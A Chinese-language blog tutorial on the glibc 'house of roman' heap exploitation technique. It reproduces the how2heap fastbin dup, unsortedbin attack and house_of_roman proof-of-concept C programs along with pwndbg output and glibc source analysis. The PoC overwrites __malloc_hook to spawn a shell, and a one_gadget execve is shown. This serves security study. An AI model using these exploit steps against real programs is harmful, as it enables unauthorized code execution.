selph
selph
Published on 2024-01-20 / 219 Visits
0
0

堆利用详解:the house of roman

简介

介绍部分来自参考资料[0],其余内容参考自glibc malloc源码,介绍了其中用到的两个部分fastbin dup和unsortedbin attack,探究了the house of roman的过程,概率的计算,如何爆破,鉴于原理简单和成功率极低,就不做额外实验了

漏洞成因

use after freeheap overflow write

适用范围

  • 2.23——2.29(libc 2.29:unsortedbin attack 失效)
  • 可以 edit after free
  • 不需要泄露地址
  • 需要爆破 12 bit,成功的概率 1/4096

利用原理

可以说这个技巧是 fastbinattack + unsortedbin attack 的组合技,利用思路如下:

  • 申请 chunk Achunk Bchunk Cchunk Dchunk B 的大小为 0x70
  • 释放 chunk B,使其进入到 fastbin[0x70]
  • 溢出写 A,修改 chunk Bsize,使其大小在 unsortedbin 范围
  • 再次释放 BB 进入 unsortedbin
  • 部分写 Bfd,使得 fd 指向 malloc_hook-0x23
  • 利用 A 的溢出写修正 Bsize,连续分配两次 0x70,即可分配到 malloc_hook 上方
  • 触发 unsortedbin attack,将__malloc_hook 写为 main_arena+88
  • 部分写__malloc_hook 的低三个字节,修改为 one_gadget
  • 再次 malloc 即可拿到 shell

换个方式概况一下:

  1. stage1 - fastbin dup

    • 需要1个fastbin chunk,其中fd的内容是unsortedbin的指针
    • 然后复写最后几个字节使得能够定位到malloc_hook-0x23的地方(fake fastbin chunk)
    • 从而申请走这个fake chunk,并能够向malloc hook写入内容
  2. stage2 - unsortedbin attack

    • 需要一个unsortedbin chunk,并能够修改其bk指向malloc_hook-0x10的地方
    • 通过unsortedbin 断链修改malloc_hook为arena+88的地址,也就是unsortedbin链表头指针的地址
  3. stage3 - 使用fastbin dup申请的chunk部分覆盖malloc_hook的值,使其指向one_gadgets等

相关技巧

  • 使用 house of roman 的时候,需要采用多线程爆破
  • 可以使用其他方法代替,比如先攻击 stdout 泄露地址,使得爆破的成本降低

利用效果

  • 执行 one_gadget
  • 绕过 ASLR

[前置] 实验:how2heap - fastbin dup

节选自我的博客,完整内容见参考资料[7]

实验环境:libc 2.35

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);

	printf("This file demonstrates a simple double-free attack with fastbins.\n");

	printf("Fill up tcache first.\n");
	void *ptrs[8];
	for (int i=0; i<8; i++) {
		ptrs[i] = malloc(8);
	}
	for (int i=0; i<7; i++) {
		free(ptrs[i]);
	}

	printf("Allocating 3 buffers.\n");
	int *a = calloc(1, 8);
	int *b = calloc(1, 8);
	int *c = calloc(1, 8);

	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	printf("Freeing the first one...\n");
	free(a);

	printf("If we free %p again, things will crash because %p is at the top of the free list.\n", a, a);
	// free(a);

	printf("So, instead, we'll free %p.\n", b);
	free(b);

	printf("Now, we can free %p again, since it's not the head of the free list.\n", a);
	free(a);

	printf("Now the free list has [ %p, %p, %p ]. If we malloc 3 times, we'll get %p twice!\n", a, b, a, a);
	a = calloc(1, 8);
	b = calloc(1, 8);
	c = calloc(1, 8);
	printf("1st calloc(1, 8): %p\n", a);
	printf("2nd calloc(1, 8): %p\n", b);
	printf("3rd calloc(1, 8): %p\n", c);

	assert(a == c);
}

为了使用fastbin,首先是填充满tcachebin

从fastbin申请3个chunk:A,B,C

按照顺序进行释放:A,B,A,完成对fastbin的双重释放,同一个chunk被释放两次,意味着在第二次被申请前可以修改chunk指针

0x55555555b390  0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][0], fastbins[0x20][0]
0x55555555b3a0  0x000055500000e6eb      0x0000000000000000      ....PU..........

0x55555555b3b0  0x0000000000000000      0x0000000000000021      ........!.......         <-- fastbins[0x20][1]
0x55555555b3c0  0x000055500000e6cb      0x0000000000000000      ....PU..........

0x55555555b3d0  0x0000000000000000      0x0000000000000021      ........!.......
0x55555555b3e0  0x0000000000000000      0x0000000000000000      ................

0x55555555b3f0  0x0000000000000000      0x0000000000020c11      ................         <-- Top chunk
pwndbg> fastbins
fastbins
0x20: 0x55555555b390 —▸ 0x55555555b3b0 ◂— 0x55555555b390

接下来就可以控制fastbin的指针了

探究:为什么可以 double-free ?

在_int_free中对fastbin处理里,有一个双重释放安全检查:

            /* Check that the top of the bin is not the record we are going to
               add (i.e., double free).  */
            // 如果该fastbin当前指向的chunk和要释放的chunk指针相同,报错,双重释放检测
            // 只检测第一个chunk是否和要释放的chunk相同
            if (__builtin_expect(old == p, 0))
                malloc_printerr("double free or corruption (fasttop)");
            // 指针加密
            p->fd = PROTECT_PTR(&p->fd, old);
            *fb = p;

这个检查和libc 2.23一样,只检查释放的fastbin链表中的第一个chunk和释放的chunk是否是同一个,是就表示为双重释放

要触发这个检查,就需要连续释放两个同样的chunk到fastbin链表中,如果不是连续的,就会存在双重释放问题

[前置] 实验:how2heap - unsortedbin attack

节选自我的博客,完整内容见参考资料[8]

实验环境:libc 2.23

#include <stdio.h>
#include <stdlib.h>

int main(){
	fprintf(stderr, "This file demonstrates unsorted bin attack by write a large unsigned long value into stack\n");
	fprintf(stderr, "In practice, unsorted bin attack is generally prepared for further attacks, such as rewriting the "
		   "global variable global_max_fast in libc for further fastbin attack\n\n");

	unsigned long stack_var=0;
	fprintf(stderr, "Let's first look at the target we want to rewrite on stack:\n");
	fprintf(stderr, "%p: %ld\n\n", &stack_var, stack_var);

	unsigned long *p=malloc(400);
	fprintf(stderr, "Now, we allocate first normal chunk on the heap at: %p\n",p);
	fprintf(stderr, "And allocate another normal chunk in order to avoid consolidating the top chunk with"
           "the first one during the free()\n\n");
	malloc(500);

	free(p);
	fprintf(stderr, "We free the first chunk now and it will be inserted in the unsorted bin with its bk pointer "
		   "point to %p\n",(void*)p[1]);

	//------------VULNERABILITY-----------

	p[1]=(unsigned long)(&stack_var-2);
	fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
	fprintf(stderr, "And we write it with the target address-16 (in 32-bits machine, it should be target address-8):%p\n\n",(void*)p[1]);

	//------------------------------------

	malloc(400);
	fprintf(stderr, "Let's malloc again to get the chunk we just free. During this time, the target should have already been "
		   "rewritten:\n");
	fprintf(stderr, "%p: %p\n", &stack_var, (void*)stack_var);
}

首先是条件准备:需要一个 unsortedbin

pwndbg> bin
fastbins
empty
unsortedbin
all: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
smallbins
empty
largebins
empty

然后模拟漏洞情况,unsortedbin的bk被写入一个可控地址

pwndbg> unsortedbin
unsortedbin
all [corrupted]
FD: 0x602000 —▸ 0x7ffff7dd1b78 (main_arena+88) ◂— 0x602000
BK: 0x602000 —▸ 0x7fffffffdfa8 —▸ 0x602010 ◂— 0x0

stack_var-0x10地址内容:

pwndbg> dq &stack_var-2
00007fffffffdfa8     00000000004007c6 0000000000400890
00007fffffffdfb8     0000000000000000 0000000000602010	// 这个 0x602010 是局部变量p
00007fffffffdfc8     be4d3c756d8c1300 0000000000400890
00007fffffffdfd8     00007ffff7a2d840 0000000000000001

当再次申请内存的时候,触发unsortedbin相关的处理,导致fd的值被写入bk地址:

pwndbg> p/x stack_var
$2 = 0x7ffff7dd1b78

为什么会这样呢?

探究:源码分析断链处理过程

当fastbin,smallbin,largebin无法处理,且last remainder也无法处理,就会进入这里:

            /* remove from unsorted list */
            // 断链
            unsorted_chunks(av)->bk = bck;
            bck->fd = unsorted_chunks(av);

            /* Take now instead of binning if exact fit */
            // 如果大小精准匹配,就直接分配返回
            if (size == nb)
            {
                set_inuse_bit_at_offset(victim, size);
                if (av != &main_arena)
                    victim->size |= NON_MAIN_ARENA;
                check_malloced_chunk(av, victim, nb);
                void *p = chunk2mem(victim);
                alloc_perturb(p, bytes);
                return p;
            }

这里的断链操作导致了unsortedbin attack得以实现

新版本的修复:(略去tcachebin的处理)

            /* remove from unsorted list */
            // 断链
            if (__glibc_unlikely(bck->fd != victim))
                malloc_printerr("malloc(): corrupted unsorted chunks 3");
            unsorted_chunks(av)->bk = bck;
            bck->fd = unsorted_chunks(av);

            /* Take now instead of binning if exact fit */
            // 如果大小刚好精准匹配,就分配
            if (size == nb)
            {
                // 设置下一个chunk的prev_inuse标志
                set_inuse_bit_at_offset(victim, size);
                if (av != &main_arena)
                    set_non_main_arena(victim);
...
                    // 返回分配的内存地址给用户
                    check_malloced_chunk(av, victim, nb);
                    void *p = chunk2mem(victim);
                    alloc_perturb(p, bytes);
                    return p;
...
            }

原先的断链得以实现任意写是因为:

unsorted_chunks(av)->bk = bck;	// 把可控地址的bk写给unsortedbin头指针
bck->fd = unsorted_chunks(av);	// 往可控地址的fd写入unsortedbin头指针

后来新增了一个条件判断:检查双链表完整性

if (__glibc_unlikely(bck->fd != victim))
	malloc_printerr("malloc(): corrupted unsorted chunks 3");

这意味着,要能通过安全检查,需要fd位置有arena对应的地址才行,而进行unsortedbin attack利用的目的是往fd位置写入arena对应的地址

因此,这个利用手法失效,该检查于2.29版本被添加

实验:how2heap - house_of_roman

实验环境:libc 2.23

#define _GNU_SOURCE     /* for RTLD_NEXT */
#include <stdlib.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>
#include <malloc.h>
#include <dlfcn.h>

char* shell = "/bin/sh\x00";

/* 
Technique was tested on GLibC 2.23, 2.24 via the glibc_build.sh script inside of how2heap on Ubuntu 16.04. 2.25 was tested on Ubuntu 17.04.

Compile: gcc -fPIE -pie house_of_roman.c -o house_of_roman

POC written by Maxwell Dulin (Strikeout) 
*/

// Use this in order to turn off printf buffering (messes with heap alignment)
void* init(){
	setvbuf(stdout, NULL, _IONBF, 0);
	setvbuf(stdin, NULL, _IONBF, 0);
}


int main(){

	/* 
	The main goal of this technique is to create a **leakless** heap 
	exploitation technique in order to get a shell. This is mainly 
	done using **relative overwrites** in order to get pointers in 
	the proper locations without knowing the exact value of the pointer.

	The first step is to get a pointer inside of __malloc_hook. This 
	is done by creating a fastbin bin that looks like the following: 
	ptr_to_chunk -> ptr_to_libc. Then, we alter the ptr_to_libc
	 (with a relative overwrite) to point to __malloc_hook. 

	The next step is to run an unsorted bin attack on the __malloc_hook 
	(which is now controllable from the previous attack).  Again, we run 
	the unsorted_bin attack by altering the chunk->bk with a relative overwrite. 

	Finally, after launching the unsorted_bin attack to put a libc value 
	inside of __malloc_hook, we use another relative overwrite on the 
	value of __malloc_hook to point to a one_gadget, system or some other function.

	Now, the next time we run malloc we pop a shell! :) 
	However, this does come at a cost: 12 bits of randomness must be 
	brute forced (0.02% chance) of working.

	The original write up for the *House of Roman* can be found at
	 https://gist.github.com/romanking98/9aab2804832c0fb46615f025e8ffb0bc#assumptions.





	This technique requires the ability to edit fastbin and unsorted bin 
	pointers via UAF or overflow of some kind. Additionally, good control 
	over the allocations sizes and freeing is required for this technique.
	*/

	char* introduction = "\nWelcome to the House of Roman\n\n"
			     "This is a heap exploitation technique that is LEAKLESS.\n"
			     "There are three stages to the attack: \n\n"
			     "1. Point a fastbin chunk to __malloc_hook.\n"
			     "2. Run the unsorted_bin attack on __malloc_hook.\n"
			     "3. Relative overwrite on main_arena at __malloc_hook.\n\n"
			     "All of the stuff mentioned above is done using two main concepts:\n"
                             "relative overwrites and heap feng shui.\n\n"
			     "However, this technique comes at a cost:\n"
                             "12-bits of entropy need to be brute forced.\n"
			     "That means this technique only work 1 out of every 4096 tries or 0.02%.\n"
			     "**NOTE**: For the purpose of this exploit, we set the random values in order to make this consisient\n\n\n";
	puts(introduction);
	init();


	/*
	Part 1: Fastbin Chunk points to __malloc_hook

	Getting the main_arena in a fastbin chunk ordering is the first step.
	This requires a ton of heap feng shui in order to line this up properly. 
	However, at a glance, it looks like the following:

	First, we need to get a chunk that is in the fastbin with a pointer to
	a heap chunk in the fd. 
	Second, we point this chunk to a pointer to LibC (in another heap chunk). 
	All of the setup below is in order to get the configuration mentioned 
	above setup to perform the relative overwrites. ";


	Getting the pointer to libC can be done in two ways: 
			- A split from a chunk in the small/large/unsorted_bins 
				gets allocated to a size of 0x70. 
			- Overwrite the size of a small/large chunk used previously to 0x71.

	For the sake of example, this uses the first option because it 
	requires less vulnerabilities.
	*/

	puts("Step 1: Point fastbin chunk to __malloc_hook\n\n");
	puts("Setting up chunks for relative overwrites with heap feng shui.\n");

	// Use this as the UAF chunk later to edit the heap pointer later to point to the LibC value.
	uint8_t* fastbin_victim = malloc(0x60); 

	// Allocate this in order to have good alignment for relative 
	// offsets later (only want to overwrite a single byte to prevent 
	// 4 bits of brute on the heap).
	malloc(0x80);

	// Offset 0x100
	uint8_t* main_arena_use = malloc(0x80);

	// Offset 0x190
	// This ptr will be used for a relative offset on the 'main_arena_use' chunk
	uint8_t* relative_offset_heap = malloc(0x60);

	// Free the chunk to put it into the unsorted_bin. 
	// This chunk will have a pointer to main_arena + 0x68 in both the fd and bk pointers.
	free(main_arena_use);


	/* 
	Get part of the unsorted_bin chunk (the one that we just freed). 
	We want this chunk because the fd and bk of this chunk will 
	contain main_arena ptrs (used for relative overwrite later).

	The size is particularly set at 0x60 to put this into the 0x70 fastbin later. 

	This has to be the same size because the __malloc_hook fake 
	chunk (used later) uses the fastbin size of 0x7f. There is
	 a security check (within malloc) that the size of the chunk matches the fastbin size.
	*/

	puts("Allocate chunk that has a pointer to LibC main_arena inside of fd ptr.\n");
//Offset 0x100. Has main_arena + 0x68 in fd and bk.
	uint8_t* fake_libc_chunk = malloc(0x60);

	//// NOTE: This is NOT part of the exploit... \\\
	// The __malloc_hook is calculated in order for the offsets to be found so that this exploit works on a handful of versions of GLibC. 
	long long __malloc_hook = ((long*)fake_libc_chunk)[0] - 0xe8;


	// We need the filler because the overwrite below needs 
	// to have a ptr in the fd slot in order to work. 
	//Freeing this chunk puts a chunk in the fd slot of 'fastbin_victim' to be used later. 
	free(relative_offset_heap);

    	/* 
    	Create a UAF on the chunk. Recall that the chunk that fastbin_victim 
	points to is currently at the offset 0x190 (heap_relative_offset).
     	*/
	free(fastbin_victim);

	/*

	Now, we start doing the relative overwrites, since that we have 
	the pointers in their proper locations. The layout is very important to 
	understand for this.

	Current heap layout: 
	0x0:   fastbin_victim       - size 0x70 
	0x70:  alignment_filler     - size 0x90
	0x100: fake_libc_chunk      - size 0x70
	0x170: leftover_main        - size 0x20
	0x190: relative_offset_heap - size 0x70 

	bin layout: 
			fastbin:  fastbin_victim -> relative_offset_heap
			unsorted: leftover_main

	Now, the relative overwriting begins:
	Recall that fastbin_victim points to relative_offset_heap 
	(which is in the 0x100-0x200 offset range). The fastbin uses a singly 
	linked list, with the next chunk in the 'fd' slot.

	By *partially* editing the fastbin_victim's last byte (from 0x90 
	to 0x00) we have moved the fd pointer of fastbin_victim to 
	fake_libc_chunk (at offset 0x100).

	Also, recall that fake_libc_chunk had previously been in the unsorted_bin. 
	Because of this, it has a fd pointer that points to main_arena + 0x68. 

	Now, the fastbin looks like the following: 
	fastbin_victim -> fake_libc_chunk ->(main_arena + 0x68).


	The relative overwrites (mentioned above) will be demonstrates step by step below.

	*/


	puts("\
Overwrite the first byte of a heap chunk in order to point the fastbin chunk\n\
to the chunk with the LibC address\n");
	puts("\
Fastbin 0x70 now looks like this:\n\
heap_addr -> heap_addr2 -> LibC_main_arena\n");
	fastbin_victim[0] = 0x00; // The location of this is at 0x100. But, we only want to overwrite the first byte. So, we put 0x0 for this.


	/*
	Now, we have a fastbin that looks like the following: 
			0x70: fastbin_victim -> fake_libc_chunk -> (main_arena + 0x68)

	We want the fd ptr in fake_libc_chunk to point to something useful. 
	So, let's edit this to point to the location of the __malloc_hook. 
	This way, we can get control of a function ptr.

	To do this, we need a valid malloc size. Within the __memalign_hook 
	is usually an address that usually starts with 0x7f. 
	Because __memalign_hook value is right before this are all 0s, 
	we could use a misaligned chunk to get this to work as a valid size in 
	the 0x70 fastbin.

	This is where the first 4 bits of randomness come into play. 
	The first 12 bits of the LibC address are deterministic for the address. 
	However, the next 4 (for a total of 2 bytes) are not. 

	So, we have to brute force 2^4 different possibilities (16) 
	in order to get this in the correct location. This 'location' 
	is different for each version of GLibC (should be noted).

	After doing this relative overwrite, the fastbin looks like the following:
			0x70: fastbin_victim -> fake_libc_chunk -> (__malloc_hook - 0x23).

	*/

	/* 
	Relatively overwrite the main_arena pointer to point to a valid 
	chunk close to __malloc_hook.

	///// NOTE: In order to make this exploit consistent 
	(not brute forcing with hardcoded offsets), we MANUALLY set the values. \\\

	In the actual attack, this values would need to be specific 
	to a version and some of the bits would have to be brute forced 
	(depending on the bits).
	*/ 

puts("\
Use a relative overwrite on the main_arena pointer in the fastbin.\n\
Point this close to __malloc_hook in order to create a fake fastbin chunk\n");
	long long __malloc_hook_adjust = __malloc_hook - 0x23; // We substract 0x23 from the malloc because we want to use a 0x7f as a valid fastbin chunk size.

	// The relative overwrite
	int8_t byte1 = (__malloc_hook_adjust) & 0xff; 
	int8_t byte2 = (__malloc_hook_adjust & 0xff00) >> 8; 
	fake_libc_chunk[0] = byte1; // Least significant bytes of the address.
	fake_libc_chunk[1] = byte2; // The upper most 4 bits of this must be brute forced in a real attack.

	// Two filler chunks prior to the __malloc_hook chunk in the fastbin. 
	// These are fastbin_victim and fake_libc_chunk.
	puts("Get the fake chunk pointing close to __malloc_hook\n");
	puts("\
In a real exploit, this would fail 15/16 times\n\
because of the final half byet of the malloc_hook being random\n");
	malloc(0x60);
	malloc(0x60);

	// If the 4 bit brute force did not work, this will crash because 
	// of the chunk size not matching the bin for the chunk. 
	// Otherwise, the next step of the attack can begin.
	uint8_t* malloc_hook_chunk = malloc(0x60);

	puts("Passed step 1 =)\n\n\n");

	/*
	Part 2: Unsorted_bin attack 

	Now, we have control over the location of the __malloc_hook. 
	However, we do not know the address of LibC still. So, we cannot 
	do much with this attack. In order to pop a shell, we need 
	to get an address at the location of the __malloc_hook.

	We will use the unsorted_bin attack in order to change the value 
	of the __malloc_hook with the address of main_arena + 0x68. 
	For more information on the unsorted_bin attack, review 
	https://github.com/shellphish/how2heap/blob/master/glibc_2.26/unsorted_bin_attack.c.

	For a brief overview, the unsorted_bin attack allows us to write
	main_arena + 0x68 to any location by altering the chunk->bk of
	an unsorted_bin chunk. We will choose to write this to the 
	location of __malloc_hook.

	After we overwrite __malloc_hook with the main_arena, we will 
	edit the pointer (with a relative overwrite) to point to a 
	one_gadget for immediate code execution.

	Again, this relative overwrite works well but requires an additional 
	1 byte (8 bits) of brute force.
	This brings the chances of a successful attempt up to 12 bits of 
	randomness. This has about a 1/4096 or a 0.0244% chance of working.


	The steps for phase two of the attack are explained as we go below.
	*/

	puts("\
Start Step 2: Unsorted_bin attack\n\n\
The unsorted bin attack gives us the ability to write a\n\
large value to ANY location. But, we do not control the value\n\
This value is always main_arena + 0x68. \n\
We point the unsorted_bin attack to __malloc_hook for a \n\
relative overwrite later.\n");


	// Get the chunk to corrupt. Add another ptr in order to prevent consolidation upon freeing.

	uint8_t* unsorted_bin_ptr = malloc(0x80);
	malloc(0x30); // Don't want to consolidate

	puts("Put chunk into unsorted_bin\n");
	// Free the chunk to create the UAF
	free(unsorted_bin_ptr);

	/* /// NOTE: The last 4 bits of byte2 would have been brute forced earlier. \\\ 
	 However, for the sake of example, this has been calculated dynamically. 
	*/
	__malloc_hook_adjust = __malloc_hook - 0x10; // This subtract 0x10 is needed because of the chunk->fd doing the actual overwrite on the unsorted_bin attack.
	byte1 = (__malloc_hook_adjust) & 0xff; 
	byte2 = (__malloc_hook_adjust & 0xff00) >> 8; 


	// Use another relative offset to overwrite the ptr of the chunk->bk pointer.
	// From the previous brute force (4 bits from before) we 
	// know where the location of this is at. It is 5 bytes away from __malloc_hook.
	puts("Overwrite last two bytes of the chunk to point to __malloc_hook\n");
	unsorted_bin_ptr[8] = byte1; // Byte 0 of bk. 

	// //// NOTE: Normally, the second half of the byte would HAVE to be brute forced. However, for the sake of example, we set this in order to make the exploit consistent. ///
	unsorted_bin_ptr[9] = byte2; // Byte 1 of bk. The second 4 bits of this was brute forced earlier, the first 4 bits are static.

	/* 
	Trigger the unsorted bin attack.
	This will write the value of (main_arena + 0x68) to whatever is in the bk ptr + 0x10.

	A few things do happen though: 
		- This makes the unsorted bin (hence, small and large too) 
		   unusable. So, only allocations previously in the fastbin can only be used now.
		- If the same size chunk (the unsorted_bin attack chunk) 
		   is NOT malloc'ed, the program will crash immediately afterwards. 
		   So, the allocation request must be the same as the unsorted_bin chunk.


	The first point is totally fine (in this attack). But, in more complicated 
	programming, this can be an issue.
	The second just requires us to do the same size allocaton as the current chunk.

	*/

	puts("Trigger the unsorted_bin attack\n");
	malloc(0x80); // Trigger the unsorted_bin attack to overwrite __malloc_hook with main_arena + 0x68

	long long system_addr = (long long)dlsym(RTLD_NEXT, "system");

	puts("Passed step 2 =)\n\n\n");
	/* 
	Step 3: Set __malloc_hook to system

	The chunk itself is allocated 19 bytes away from __malloc_hook. 
	So, we use a realtive overwrite (again) in order to partially overwrite 
	the main_arena pointer (from unsorted_bin attack) to point to system.

	In a real attack, the first 12 bits are static (per version). 
	But, after that, the next 12 bits must be brute forced. 

	/// NOTE: For the sake of example, we will be setting these values, instead of brute forcing them. \\\
	*/ 

	puts("Step 3: Set __malloc_hook to system/one_gadget\n\n");
	puts("\
Now that we have a pointer to LibC inside of __malloc_hook (from step 2), \n\
we can use a relative overwrite to point this to system or a one_gadget.\n\
Note: In a real attack, this would be where the last 8 bits of brute forcing\n\
comes from.\n");
	malloc_hook_chunk[19] = system_addr & 0xff; // The first 12 bits are static (per version).

	malloc_hook_chunk[20] = (system_addr >> 8) & 0xff;  // The last 4 bits of this must be brute forced (done previously already).
	malloc_hook_chunk[21] = (system_addr >> 16) & 0xff;  // The last byte is the remaining 8 bits that must be brute forced.
	malloc_hook_chunk[22] = (system_addr >> 24) & 0xff; // If the gap is between the data and text section is super wide, this is also needed. Just putting this in to be safe.


	// Trigger the malloc call for code execution via the system call being ran from the __malloc_hook.
	// In a real example, you would probably want to use a one_gadget. 
	// But, to keep things portable, we will just use system and add a pointer to /bin/sh as the parameter
	// Although this is kind of cheating (the binary is PIE), if the binary was not PIE having a pointer into the .bss section would work without a single leak. 
	// To get the system address (eariler on for consistency), the binary must be PIE though. So, the address is put in here.
	puts("Pop Shell!");
	malloc((long long)shell);

}

是的,又好长啊

编译:注意需要添加**-ldl**参数!

gcc house_of_roman.c -g -o house_of_roman -ldl

the house of roman 是一种不需要leak的利用技巧,需要能够通过UAF或者overflow来修改fastbin和unsortedbin的指针

步骤:

__malloc_hook 在 libc 2.34 中被移除

stage 1:fastbin dup -> __malloc_hook

主要目标是通过fastbin dup去拿到__malloc_hook附近的fake fastbin chunk

流程:

  1. 首先是申请4个chunk,2个fastbin size,2个normal size
  2. 释放1个normal size,再申请0x70大小的chunk,remainder出一个unsortedbin chunk
  3. 释放两个fastbin size chunk:
pwndbg> vis

0x603000        0x0000000000000000      0x0000000000000071      ........q.......         <-- fastbins[0x70][0]
0x603010        0x0000000000603190      0x687420726f46203a      .1`.....: For th
0x603020        0x736f707275702065      0x69687420666f2065      e purpose of thi
0x603030        0x696f6c7078652073      0x6573206577202c74      s exploit, we se
0x603040        0x6172206568742074      0x6c6176206d6f646e      t the random val
0x603050        0x6f206e6920736575      0x206f742072656472      ues in order to
0x603060        0x69687420656b616d      0x7369736e6f632073      make this consis

0x603070        0x0000000a746e6569      0x0000000000000091      ient............
0x603080        0x0000000000000000      0x0000000000000000      ................
0x603090        0x0000000000000000      0x0000000000000000      ................
0x6030a0        0x0000000000000000      0x0000000000000000      ................
0x6030b0        0x0000000000000000      0x0000000000000000      ................
0x6030c0        0x0000000000000000      0x0000000000000000      ................
0x6030d0        0x0000000000000000      0x0000000000000000      ................
0x6030e0        0x0000000000000000      0x0000000000000000      ................
0x6030f0        0x0000000000000000      0x0000000000000000      ................

0x603100        0x0000000000000000      0x0000000000000071      ........q.......
0x603110        0x00007ffff7dc7bf8      0x00007ffff7dc7bf8      .{.......{......
0x603120        0x0000000000000000      0x0000000000000000      ................
0x603130        0x0000000000000000      0x0000000000000000      ................
0x603140        0x0000000000000000      0x0000000000000000      ................
0x603150        0x0000000000000000      0x0000000000000000      ................
0x603160        0x0000000000000000      0x0000000000000000      ................

0x603170        0x0000000000000000      0x0000000000000021      ........!.......         <-- unsortedbin[all][0]
0x603180        0x00007ffff7dc7b78      0x00007ffff7dc7b78      x{......x{......

0x603190        0x0000000000000020      0x0000000000000070       .......p.......         <-- fastbins[0x70][1]
0x6031a0        0x0000000000000000      0x0000000000000000      ................
0x6031b0        0x0000000000000000      0x0000000000000000      ................
0x6031c0        0x0000000000000000      0x0000000000000000      ................
0x6031d0        0x0000000000000000      0x0000000000000000      ................
0x6031e0        0x0000000000000000      0x0000000000000000      ................
0x6031f0        0x0000000000000000      0x0000000000000000      ................

0x603200        0x0000000000000000      0x0000000000020e01      ................         <-- Top chunk

让fastbin fd指针指向有unsortedbin 指针的同大小chunk(模拟UAF漏洞)

计算偏移,修改其fd指针的最后2个字节指向相对地址__malloc_hook附件的fake fastbin chunk(0x7f bytes),再申请两次内存,让该fake chunk被申请走

pwndbg> dq 0x00007ffff7dc7aed
00007ffff7dc7aed     fff7dc6240000000 000000000000007f
00007ffff7dc7afd     fff7caff64000000 fff7caff2100007f
00007ffff7dc7b0d     000000000000007f 0000000000000000
00007ffff7dc7b1d     0000000000000000 0000000000000000

pwndbg> x/xg &__malloc_hook
0x7fffffffdfa8: 0x00007ffff7dc7b10

这是 fastbin attack 的操作,如果有libc泄露,这里可以直接写入one_gadget drop shell,这里的操作是如何在没有libc泄露的情况下进行利用

stage 2:unsortedbin attack -> __malloc_hook

计算 __malloc_hook - 0x10 所在地址,取出后2字节,写入unsortedbin chunk bk的第8第9字节上:

pwndbg> x/6xg __malloc_hook-0x10
0x7ffff7dc7b00 <__memalign_hook>:       0x00007ffff7caff64      0x00007ffff7caff21
0x7ffff7dc7b10 <__malloc_hook>: 		0x0000000000000000      0x0000000000000000
0x7ffff7dc7b20 <main_arena>:    		0x0000000000000000      0x0000000000000000
0x603200        0x0000000000000000      0x0000000000000091      ................         <-- unsortedbin[all][0]
0x603210        0x00007ffff7dc7b78      0x00007ffff7dc7b00      x{.......{......
0x603220        0x0000000000000000      0x0000000000000000      ................
0x603230        0x0000000000000000      0x0000000000000000      ................
0x603240        0x0000000000000000      0x0000000000000000      ................
0x603250        0x0000000000000000      0x0000000000000000      ................
0x603260        0x0000000000000000      0x0000000000000000      ................
0x603270        0x0000000000000000      0x0000000000000000      ................
0x603280        0x0000000000000000      0x0000000000000000      ................

执行unsortedbin attack,使得__malloc_hook位置上被写入arena中的地址:

pwndbg> x/6xg __malloc_hook-0x10
0x7ffff7dc7b00 <__memalign_hook>:       0x00007ffff7caff64      0x00007ffff7caff21
0x7ffff7dc7b10 <__malloc_hook>: 		0x00007ffff7dc7b78      0x0000000000000000
0x7ffff7dc7b20 <main_arena>:    		0x0000000000000000      0x0000000000000000

pwndbg> x/gx 0x00007ffff7dc7b78
0x7ffff7dc7b78 <main_arena+88>: 		0x00000000006032d0

stage 3:修改 system 到 __malloc_hook

使用stage1通过fastbin dup获取的chunk进行写入,修改__malloc_hook后几个字节,使其指向system函数:

pwndbg> x/4xg __malloc_hook-0x10
0x7ffff7dc7b00 <__memalign_hook>:       0x00007ffff7caff64      0x00007ffff7caff21
0x7ffff7dc7b10 <__malloc_hook>: 		0x00007ffff7c75e2c      0x0000000000000000

pwndbg> x 0x00007ffff7c75e2c
0x7ffff7c75e2c <__libc_system>: 		0x08ec8348fa1e0ff3

当再次调用malloc的时候,使用指向/bin/sh的参数去申请,即可drop shell

探究:为什么说概率是1/4096?怎么算的?

会影响地址位置是有两个机制:

  1. PIE机制和编译有关,会让elf程序加载地址随机
  2. ASLR机制和系统有关,会让libc加载地址也随机

在整个利用过程中通过部分覆盖libc地址的后几位,来实现的不需要leak libc地址完成利用,所以整个过程中会产生影响的就只有ASLR机制

ASLR的随机是高位地址随机,低位地址固定,最后12位的内容是固定的,结合本例利用过程来分析:

  1. 在 fastbin dup 阶段,申请 fastbin fake chunk 的指针需要通过局部覆盖来得到,此时保存在fd指针里的unsortedbin地址为:0x00007ffff7dc7b78,我的目标fake chunk地址是0x00007ffff7dc7aed,后12字节的内容是不一样的,但是局部覆盖的单位是字节,会覆盖到后16位,而这个第13-16位的值是固定的吗?经过测试,不是固定的,这里有4位需要爆破

  2. 在 unsortedbin attack 阶段,bk的指针需要局部覆盖得到,本例中原本的bk指针是:0x00007ffff7dc7b78,目标__malloc_hook地址是:0x00007ffff7dc7b00,最后8位不同,可以直接覆盖到,这里没啥影响

  3. 在最终修改__malloc_hook阶段,此时__malloc_hook中保存的地址是0x00007ffff7dc7b78,需要修改成one_gadget或者system地址

    1. libc.sym.system地址是0x00007ffff7c75e2c

      pwndbg> vmmap 0x00007ffff7c75e2c
      LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
                   Start                End Perm     Size Offset File
          0x7ffff7c35000     0x7ffff7c58000 r--p    23000      0 /home/selph/glibc-self-compile/glibcs/libc-2.23.so
      ►   0x7ffff7c58000     0x7ffff7d7c000 r-xp   124000  23000 /home/selph/glibc-self-compile/glibcs/libc-2.23.so +0x1de2c
          0x7ffff7d7c000     0x7ffff7dc2000 r--p    46000 147000 /home/selph/glibc-self-compile/glibcs/libc-2.23.so
      
    2. one_gadget的地址是

      house_of_roman ➤ one_gadget ~/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so                                                                                                               git:master*
      0x4527a execve("/bin/sh", rsp+0x30, environ)
      constraints:
        [rsp+0x30] == NULL || {[rsp+0x30], [rsp+0x38], [rsp+0x40], [rsp+0x48], ...} is a valid argv
      
